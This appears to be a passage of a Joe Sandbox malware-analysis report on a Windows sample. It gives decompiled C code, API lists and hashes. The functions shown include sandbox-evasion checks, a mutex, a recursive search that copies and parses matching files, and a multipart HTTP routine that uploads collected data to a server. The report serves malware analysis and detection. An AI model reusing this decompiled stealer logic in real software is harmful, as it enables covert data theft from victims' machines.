				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00899190), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,008843E8), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,008858F0), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00899160), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,008992E0), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00899040), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00899058), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00899130), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00885670), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00885590), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(00899238,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00899148,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74B40000,00899208), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,008856D0,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A4C0), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A5E0), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00885950), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A778), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A748), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A7F0), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A7C0), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A790), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A7A8), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089A7D8), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089AF28), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089AF70), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089AEF8), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00885790), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,0089AFD0), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,008857B0), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00885690), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x8856d0
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,008856D0,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 00889436, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0088947E

Memory Dump Source

Source File: 00000016.00000002.398803242.0000000000888000.00000040.00000001.sdmp, Offset: 00888000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_888000_9779.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 7b8de4ddb49a6754edae5cc92ff31c38d451528819ac0b34c32b36fc66ab5e3b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 39F06231200714ABD7203AF9988DA7A76E8FF49725F144528F6C7D10C0DA70E8464765

Uniqueness

Uniqueness Score: -1.00%

Function 008890F5, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00889146

Memory Dump Source

Source File: 00000016.00000002.398803242.0000000000888000.00000040.00000001.sdmp, Offset: 00888000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_888000_9779.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 940ddb03a473e5447dab8ece8123d0a4104d8a2ea9b403da7d246c02718a2bf4
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D8112D79A00208EFDB01DF98C989E98BBF5EF08351F098094F9489B361D775EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 108.9, APIs: 56, Strings: 6, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x884740
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x89ad90
							_t219 =  *0x41a590; // 0x89a090
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x89ad90
							_t207 =  *0x41a590; // 0x89a090
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x899608
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x89a110
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x8849c0
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x899518
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x899698
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,00884408,00885850,00899070,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00884740), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,0089A090,?,0089AD90,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,0089A090,?,0089AD90,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00899608), ref: 00404E78
lstrcat.KERNEL32(?,0089A110), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,008849C0), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00899518), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00899698), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

https://, xrefs: 00404C94
", xrefs: 00404E91
------, xrefs: 00404CE8, 00404E32, 00404EC6
, xrefs: 00404F6D
200, xrefs: 004050AF
", xrefs: 00404F23

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$200$https://
API String ID: 3074752877-1022799444
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x89ac70
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x89a2b0
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x89ac10
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x89a250
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
